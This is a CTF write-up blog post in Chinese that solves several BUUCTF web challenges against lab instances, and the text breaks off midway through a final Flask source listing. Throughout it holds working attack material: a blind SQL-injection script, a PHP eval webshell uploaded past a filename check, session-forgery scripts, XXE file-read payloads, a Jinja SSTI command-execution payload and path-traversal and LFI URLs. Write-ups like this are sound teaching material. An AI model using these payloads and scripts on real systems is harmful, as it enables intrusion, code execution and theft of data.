April 16, 2023

BUUCTF Web Writeup 5

踏上第五大陆的篇章

[CISCN2019 华东南赛区]Web4

考点:

image.png
读取源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

主要逻辑和思路很简单,获取session的key,然后伪造session访问flag路由,重点是key的获取

伪随机数

image.png
image.png
读取mac地址:
image.png

session伪造

这样就可以获取seed进而获取key:

1
2
3
print(int("6ae6aa201799",16))
random.seed(117538929252249)
print(str(random.random()*233))

上述代码在py2环境运行,因为可以读取flask对应的py版本为2:
image.png
python3 flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y_oQ9Q.UZBlMNM8Xc2bAU9w8hF3jCja_Yc" -s "175.81180104"
image.png
python flask_session_cookie_manager3.py encode -s "175.81180104" -t "{'username': b'fuck'}"
image.png
换上cookie访问路由(多访问几次生效)

[SWPU2019]Web4

考点:PHP中的PDO,堆叠注入
image.png
看到这个JSON和PHP就应该对PDO敏感?其实PHP里连接mysql数据库有多种方法,mysqli,PDO
具体参考:https://xz.aliyun.com/t/3950#toc-1
这里就介绍一下解题思路,在username加单引号出现报错,说明有注入风险,但是测试一波后发现select,if,sleep都没了,那基本是没戏了,所以思路放到堆叠注入,写个脚本跑出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import json
import time

import requests
url = "http://d4999e04-df98-4881-bf01-2f8a06c2c145.node4.buuoj.cn:81/index.php?r=Login/Login"
result = ''
i = 0
headers = {'Content-Type': 'application/json'}
def hexgenerator(str):
hexres='0x'
for word in str:
word=ord(word)
hex_word=hex(word)[2:]
hexres+=hex_word
return hexres
while True:
i = i + 1
head = 1
tail = 128

while head < tail:
mid = (head + tail) >> 1
payload=f"select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(1),0)"
payload=f"select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))>{mid},sleep(1),0)"
payload=f"select if(ascii(substr((select group_concat(flag) from flag),{i},1))>{mid},sleep(1),0)"
data = {
"username": f"admin';prepare boogipop from {hexgenerator(payload)};execute boogipop -- -",
"password":"123456"
}
t1=time.time()
# print(json.dumps(data))
r = requests.post(url,data=json.dumps(data),headers=headers)
# print(r.text)
t2=time.time()
print(t2-t1)
if t2-t1>1:
head = mid + 1
else:
tail = mid

if head != 1:
result += chr(head)
else:
break
print(result)

然后跑出来一个glzjin_wants_a_girl_friend.zip文件,拿到了网页的源代码,主要逻辑在这:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>about</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
<style>
.fakeimg {
height: 200px;
background: #aaa;
}
</style>
</head>
<body>
<div class="jumbotron text-center" style="margin-bottom:0">
<h1>WELCOME TO SWPUCTF2019</h1>
</div>

<nav class="navbar navbar-inverse">
<div class="container-fluid">
</div>
</nav>
<div class="container">
<div class="row">
<div class="col-sm-4">
<h2>关于我</h2>
<h5>我的照片:</h5>
<div class="fakeimg"><?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?></div>
</div>
</div>
</div>

</body>
</html>
<?php
function imgToBase64($img_file) {

$img_base64 = '';
if (file_exists($img_file)) {
$app_img_file = $img_file; // 图片路径
$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等

$fp = fopen($app_img_file, "r"); // 图片是否可读权限

if ($fp) {
$filesize = filesize($app_img_file);
$content = fread($fp, $filesize);
$file_content = chunk_split(base64_encode($content)); // base64编码
switch ($img_info[2]) { //判读图片类型
case 1: $img_type = "gif";
break;
case 2: $img_type = "jpg";
break;
case 3: $img_type = "png";
break;
}

$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码

}
fclose($fp);
}

return $img_base64; //返回图片的base64
}
?>

这里肯定存在一个任意文件读取,只要修改img_file变量的参数,而该变量在Cotroller中可以直接去赋值,那就好说了:
image.png
?img_file=/../../../../etc/passwd:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/bin/false
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

?img_file=/../flag.php:

1
2
3
4
<?php
echo "flag is here,but you must try to see it.";
$flag = "flag{69ecf61f-34dc-4de7-8aa1-8aed1c69fc31}";
?>

[RootersCTF2019]babyWeb

https://blog.csdn.net/mochu7777777/article/details/107747352
靶场损坏

[RoarCTF 2019]Simple Upload

考点:TP3文件上传,多文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

开局给了首页的代码,就2个功能,一个文件上传,这是主要功能点

多文件上传解法

tp3支持多文件上传:
image.png
所以我们只需用python写个多文件上传脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#Author:Boogipop
import requests
url="http://e5e42b72-7b4d-40d3-9c12-550d48e26d00.node4.buuoj.cn:81/?s=home/index/upload"
file_content=b"<?php eval($_POST['boogipop']);?>"
filename="1.<>php"
file=[
('file',("1.txt","w3333",'image/png'))
]
file2=[
('file[]',("1.php",file_content,'image/png'))
]
file3=[
('file',("233.txt","test",'image/png'))
]
file4=[
('file',(filename,file_content,'image/png'))
]
# r1=requests.post(url=url,files=hta_file)
r=requests.post(url=url,files=file)
print(r.text)
r=requests.post(url=url,files=file2)
print(r.text)
r=requests.post(url=url,files=file3)
print(r.text)
# r=requests.post(url=url,files=file4)
# print(r.text)
# print(r1.text)

image.png
由于是数组,返回不了文件路径,因此需要爆破

strip_tag解法

审计tp3关于文件上传的部分可以看到一个很有趣的函数:
image.png
对文件名做了一次strip_tags处理,那么我们直接上传1.<>php即可。。。。

[HFCTF2020]BabyUpload

考点:PHP SESSION伪造
在PHP中session文件的命名规范一般都是,sess_xxxxxxx,其中xxxx的内容就是PHPSESSID的值,那么看看题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

这边一个上传功能,上传文件后会在后面添加一个hashfile的值,我们可以先读取自己的session文件:sess_4dbfe0ce757ff7bbedd8ee52caa3e4a5
image.png
POST: direction=download&filename=sess_4dbfe0ce757ff7bbedd8ee52caa3e4a5
image.png
usernames:5:"guest";,我们把他伪造成usernames:5:"admin";保存在本地,然后用hashfile去计算文件的hash:
image.png
所以我们可以上传这个session文件,上传过后的文件名应该是sess_a2527061d62f9711631cf316fb744e48c2fc693955519286dd3b4f3c73227513

1
2
3
4
5
6
7
8
9
10
11
#Author:Boogipop
import requests
url="http://e5693529-d918-48ec-8b3f-aeffe65b24ad.node4.buuoj.cn:81/"
data={
"direction":"upload"
}
file=[
('up_file',("sess",open("session","r").read()))
]
r=requests.post(url=url,files=file,data=data)
print(r.text)

image.png
这样我们就成功伪造了自己的session,记得把PHPSESSID改为文件的hash值,符合规则
然后就是绕过第二个if,我们要让file_exists绕过,这个函数判断文件或者目录是否存在,然后attr参数又可控,我们直接让attr等于success.txt就行了,然后随便上传一个文件,触发mkdir函数,即可绕过:

1
2
3
4
5
6
7
8
9
10
11
12
#Author:Boogipop
import requests
url="http://e5693529-d918-48ec-8b3f-aeffe65b24ad.node4.buuoj.cn:81/"
data={
"direction":"upload",
"attr":"success.txt"
}
file=[
('up_file',("test","test"))
]
r=requests.post(url=url,files=file,data=data)
print(r.text)

image.png

[GoogleCTF2019 Quals]Bnv

考点:XML内部实体注入
image.png
将内容改为xml后报错,说明存在XML注入,尝试用一般的实体带出:

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE feng [
<!ENTITY file SYSTEM "file:///flag">
]>
<message>&file;</message>

image.png
说我们没声明标签,那就声明一下:

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY file SYSTEM "file:///flag">
]>
<message>&file;</message>

image.png
这次没报错,说明加载成功,只不过对于flag的内容,他的逻辑没匹配到结果而已
参考下列网址
image.png
这是通常的做法,可以用这种报错信息带出来

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

妙啊image.png

[pasecactf_2019]flask_ssti

考点:SSTI,文件流风险
首先存在ssti,这边直接帖payload

1
{{((lipsum|attr("\x5f\x5fglobals\x5f\x5f"))["\x5f\x5fbuiltins\x5f\x5f"])["eval"]("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"payload\")\x2eread()")}}

把payload部分换为指令,可以先读取源文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''

def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p)

except Exception as e:
print(e)
return 'Exception'

return render_template('index.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)

一眼丁真看到没关闭文件里,读取proc目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# dr-xr-xr-x    9 root     root             0 Mar  3 11:41 1
# dr-xr-xr-x 9 root root 0 Mar 3 12:22 110
# dr-xr-xr-x 9 root root 0 Mar 3 12:22 112
# dr-xr-xr-x 9 root root 0 Mar 3 12:22 114
# dr-xr-xr-x 9 root root 0 Mar 3 12:22 116
# dr-xr-xr-x 9 root root 0 Mar 3 12:22 118
# dr-xr-xr-x 9 root root 0 Mar 3 12:23 122
# dr-xr-xr-x 9 root root 0 Mar 3 12:24 127
# dr-xr-xr-x 9 root root 0 Mar 3 12:25 140
# dr-xr-xr-x 9 root root 0 Mar 3 12:25 142
# dr-xr-xr-x 9 root root 0 Mar 3 12:25 144
# dr-xr-xr-x 9 root root 0 Mar 3 12:25 150
# dr-xr-xr-x 9 root root 0 Mar 3 12:25 152
# dr-xr-xr-x 9 root root 0 Mar 3 12:25 154
# dr-xr-xr-x 9 root root 0 Mar 3 12:25 158
# dr-xr-xr-x 9 root root 0 Mar 3 12:40 238
# dr-xr-xr-x 9 root root 0 Mar 3 12:41 244
# dr-xr-xr-x 9 root root 0 Mar 3 12:41 246
# dr-xr-xr-x 9 root root 0 Mar 3 12:41 256
# drwxrwxrwt 2 root root 40 Mar 3 11:41 acpi
# -r--r--r-- 1 root root 0 Mar 3 12:41 buddyinfo
# dr-xr-xr-x 4 root root 0 Mar 3 11:41 bus
# -r--r--r-- 1 root root 0 Mar 3 12:41 cgroups
# -r--r--r-- 1 root root 0 Mar 3 12:41 cmdline
# -r--r--r-- 1 root root 0 Mar 3 12:41 consoles
# -r--r--r-- 1 root root 35448 Mar 3 12:41 cpuinfo
# -r--r--r-- 1 root root 0 Mar 3 12:41 crypto
# -r--r--r-- 1 root root 0 Mar 3 12:41 devices
# -r--r--r-- 1 root root 1376 Mar 3 12:41 diskstats
# -r--r--r-- 1 root root 0 Mar 3 12:41 dma
# dr-xr-xr-x 3 root root 0 Mar 3 12:41 driver
# -r--r--r-- 1 root root 0 Mar 3 12:41 execdomains
# -r--r--r-- 1 root root 0 Mar 3 12:41 filesystems
# dr-xr-xr-x 10 root root 0 Mar 3 11:41 fs
# -r--r--r-- 1 root root 0 Mar 3 12:41 interrupts
# -r--r--r-- 1 root root 0 Mar 3 12:41 iomem
# -r--r--r-- 1 root root 0 Mar 3 12:41 ioports
# dr-xr-xr-x 128 root root 0 Mar 3 11:41 irq
# -r--r--r-- 1 root root 0 Mar 3 12:41 kallsyms
# crw-rw-rw- 1 root root 1, 3 Mar 3 11:41 kcore
# -r--r--r-- 1 root root 0 Mar 3 12:41 key-users
# crw-rw-rw- 1 root root 1, 3 Mar 3 11:41 keys
# -r-------- 1 root root 0 Mar 3 12:41 kmsg
# -r-------- 1 root root 0 Mar 3 12:41 kpagecgroup
# -r-------- 1 root root 0 Mar 3 12:41 kpagecount
# -r-------- 1 root root 0 Mar 3 12:41 kpageflags
# -r--r--r-- 1 root root 30 Mar 3 12:41 loadavg
# -r--r--r-- 1 root root 0 Mar 3 12:41 locks
# -r--r--r-- 1 root root 0 Mar 3 12:41 mdstat
# -r--r--r-- 1 root root 1391 Mar 3 12:41 meminfo
# -r--r--r-- 1 root root 0 Mar 3 12:41 misc
# -r--r--r-- 1 root root 0 Mar 3 12:41 modules
# lrwxrwxrwx 1 root root 11 Mar 3 11:44 mounts -> self/mounts
# -rw-r--r-- 1 root root 0 Mar 3 12:41 mtrr
# lrwxrwxrwx 1 root root 8 Mar 3 12:41 net -> self/net
# -r-------- 1 root root 0 Mar 3 12:41 pagetypeinfo
# -r--r--r-- 1 root root 0 Mar 3 12:41 partitions
# crw-rw-rw- 1 root root 1, 3 Mar 3 11:41 sched_debug
# -r--r--r-- 1 root root 0 Mar 3 12:41 schedstat
# drwxrwxrwt 2 root root 40 Mar 3 11:41 scsi
# lrwxrwxrwx 1 root root 0 Mar 3 11:41 self -> 256
# -r-------- 1 root root 0 Mar 3 12:41 slabinfo
# -r--r--r-- 1 root root 0 Mar 3 12:41 softirqs
# -r--r--r-- 1 root root 4421 Mar 3 12:41 stat
# -r--r--r-- 1 root root 37 Mar 3 12:41 swaps
# dr-xr-xr-x 1 root root 0 Mar 3 11:41 sys
# --w------- 1 root root 0 Mar 3 11:41 sysrq-trigger
# dr-xr-xr-x 5 root root 0 Mar 3 12:41 sysvipc
# lrwxrwxrwx 1 root root 0 Mar 3 11:41 thread-self -> 256/task/256
# crw-rw-rw- 1 root root 1, 3 Mar 3 11:41 timer_list
# dr-xr-xr-x 6 root root 0 Mar 3 12:41 tty
# -r--r--r-- 1 root root 25 Mar 3 12:41 uptime
# -r--r--r-- 1 root root 0 Mar 3 12:41 version
# -r-------- 1 root root 0 Mar 3 12:41 vmallocinfo
# -r--r--r-- 1 root root 0 Mar 3 12:41 vmstat
# -r--r--r-- 1 root root 0 Mar 3 12:41 zoneinfo

进入进程1的fd看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# lrwx------    1 root     root            64 Mar  3 11:41 0 -> /dev/null
# l-wx------ 1 root root 64 Mar 3 11:41 1 -> pipe:[2712835409]
# lr-x------ 1 root root 64 Mar 3 12:42 10 -> pipe:[2714007556]
# lrwx------ 1 root root 64 Mar 3 12:42 11 -> socket:[2713963999]
# lr-x------ 1 root root 64 Mar 3 12:42 12 -> pipe:[2714007558]
# lrwx------ 1 root root 64 Mar 3 12:42 13 -> socket:[2713964005]
# lr-x------ 1 root root 64 Mar 3 12:42 14 -> pipe:[2713998550]
# lrwx------ 1 root root 64 Mar 3 12:42 15 -> socket:[2714029103]
# lr-x------ 1 root root 64 Mar 3 12:42 16 -> pipe:[2714001165]
# lrwx------ 1 root root 64 Mar 3 12:42 17 -> socket:[2714070367]
# lrwx------ 1 root root 64 Mar 3 12:42 18 -> socket:[2714070195]
# lr-x------ 1 root root 64 Mar 3 12:42 19 -> pipe:[2714081757]
# l-wx------ 1 root root 64 Mar 3 11:41 2 -> pipe:[2712835410]
# lrwx------ 1 root root 64 Mar 3 12:42 20 -> socket:[2714070372]
# lr-x------ 1 root root 64 Mar 3 12:42 21 -> pipe:[2714025637]
# lr-x------ 1 root root 64 Mar 3 12:42 22 -> pipe:[2714076465]
# lrwx------ 1 root root 64 Mar 3 12:42 23 -> socket:[2714070373]
# lr-x------ 1 root root 64 Mar 3 12:42 24 -> pipe:[2714079784]
# lrwx------ 1 root root 64 Mar 3 12:42 25 -> socket:[2714070556]
# lr-x------ 1 root root 64 Mar 3 12:42 26 -> pipe:[2714076890]
# lrwx------ 1 root root 64 Mar 3 12:42 27 -> socket:[2714070558]
# lr-x------ 1 root root 64 Mar 3 12:42 28 -> pipe:[2714087806]
# lrwx------ 1 root root 64 Mar 3 12:42 29 -> socket:[2714070560]
# lr-x------ 1 root root 64 Mar 3 11:41 3 -> /app/flag (deleted)
# lr-x------ 1 root root 64 Mar 3 12:42 30 -> pipe:[2714087808]
# lrwx------ 1 root root 64 Mar 3 12:42 31 -> socket:[2714070885]
# lrwx------ 1 root root 64 Mar 3 12:42 32 -> socket:[2714645866]
# lr-x------ 1 root root 64 Mar 3 12:42 33 -> pipe:[2714626727]
# lr-x------ 1 root root 64 Mar 3 12:42 34 -> pipe:[2714112428]
# lrwx------ 1 root root 64 Mar 3 12:42 35 -> socket:[2714655786]
# lr-x------ 1 root root 64 Mar 3 12:42 36 -> pipe:[2714626820]
# lrwx------ 1 root root 64 Mar 3 12:42 37 -> socket:[2714655787]
# lr-x------ 1 root root 64 Mar 3 12:42 38 -> pipe:[2714626822]
# lrwx------ 1 root root 64 Mar 3 12:42 39 -> socket:[2714680882]
# lrwx------ 1 root root 64 Mar 3 11:41 4 -> socket:[2712787512]
# lr-x------ 1 root root 64 Mar 3 12:42 40 -> pipe:[2714673562]
# lrwx------ 1 root root 64 Mar 3 11:41 5 -> socket:[2713963957]
# lr-x------ 1 root root 64 Mar 3 11:41 6 -> pipe:[2714003456]
# lrwx------ 1 root root 64 Mar 3 11:41 7 -> socket:[2713963963]
# lr-x------ 1 root root 64 Mar 3 12:42 8 -> pipe:[2714007554]
# lrwx------ 1 root root 64 Mar 3 12:42 9 -> socket:[2713963965]

在3号位看到flag,一眼丁真直接读:
image.png

[NPUCTF2020]ezlogin

考点:xpath注入
在XXE REMAKE之旅写了

[WMCTF2020]Make PHP Great Again 2.0

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

[http://90cc792a-1f1d-4ade-8874-968d5fdb73ae.node4.buuoj.cn:81/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php](http://90cc792a-1f1d-4ade-8874-968d5fdb73ae.node4.buuoj.cn:81/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php)
和之前一样,只是解决了session的非预期

[PASECA2019]honey_shop

考点:简单的flask session伪造
key在environ中

[XNUCA2019Qualifier]EasyPHP

考点:条件竞争,htaccess文件利用
不复现了

[DDCTF 2019]homebrew event loop

考点:python代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
from flask import Flask, session, request, Response
from urllib.parse import quote,unquote

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
return '*********************' # censored


def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack


class RollBackException:
pass


def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled.
'
resp += '<a href="./?action:view;index">Go back to index.html</a>
'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception as e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp


@app.route(url_prefix+'/')
def entry_point():
querystring = unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
page = args[0]
html = ''
